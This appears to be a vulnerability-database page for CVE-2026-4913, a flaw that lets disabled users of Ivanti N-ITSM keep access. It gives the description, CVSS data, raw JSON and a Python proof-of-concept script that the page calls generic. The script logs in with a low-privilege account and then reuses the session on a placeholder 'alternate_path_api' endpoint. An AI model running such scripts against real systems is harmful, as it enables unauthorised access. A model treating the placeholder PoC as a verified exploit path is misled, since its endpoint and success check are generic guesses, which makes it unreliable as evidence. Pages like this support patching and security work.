Security Vulnerability Report
中文
CVE-2026-4913 CVSS 5.7 MEDIUM

CVE-2026-4913

Published: 2026-04-14 15:16:40
Last Modified: 2026-04-17 15:11:04
Source: 3c1d8aa1-5a33-4ea4-8992-aadd6440af75

Description

Improper protection of an alternate path in Ivanti N-ITSM before version 2025.4 allows a remote authenticated attacker to retain access when their account has been disabled.

CVSS Details

CVSS Score
5.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Ivanti N-ITSM < 2025.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # This is a generic PoC for CVE-2026-4913 # It demonstrates that a disabled user can still access an alternate path using a valid session cookie. target_url = "https://<target-ip>/n-itsm/alternate_path_api" login_url = "https://<target-ip>/n-itsm/login" # Attacker's credentials (low privilege) username = "attacker_user" password = "password123" session = requests.Session() # Step 1: Perform login to get a valid session cookie login_payload = { "username": username, "password": password } print("[*] Attempting to login...") response = session.post(login_url, data=login_payload) if response.status_code == 200: print("[+] Login successful. Session cookie obtained.") # Step 2: Simulate the scenario where the account is disabled by admin print("[*] Simulating account disable by admin...") # In a real scenario, the admin disables the account here. # The attacker does not log out. # Step 3: Access the vulnerable alternate path using the old session print("[*] Attempting to access alternate path with disabled account...") vuln_headers = { "User-Agent": "Mozilla/5.0", "Referer": target_url } exploit_response = session.get(target_url, headers=vuln_headers) if exploit_response.status_code == 200 and "sensitive_data" in exploit_response.text: print("[!] EXPLOIT SUCCESSFUL: Access retained despite account being disabled.") print(f"[+] Response: {exploit_response.text[:200]}") else: print("[-] Exploit failed or patch applied.") else: print("[-] Login failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4913", "sourceIdentifier": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "published": "2026-04-14T15:16:39.587", "lastModified": "2026-04-17T15:11:03.923", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper protection of an alternate path in Ivanti N-ITSM before version 2025.4 allows a remote authenticated attacker to retain access when their account has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 3.6}]}, "weaknesses": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Primary", "description": [{"lang": "en", "value": "CWE-424"}]}], "references": [{"url": "https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Neurons-for-ITSM-CVE-2026-4913-CVE-2026-4914?language=en_US", "source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75"}]}}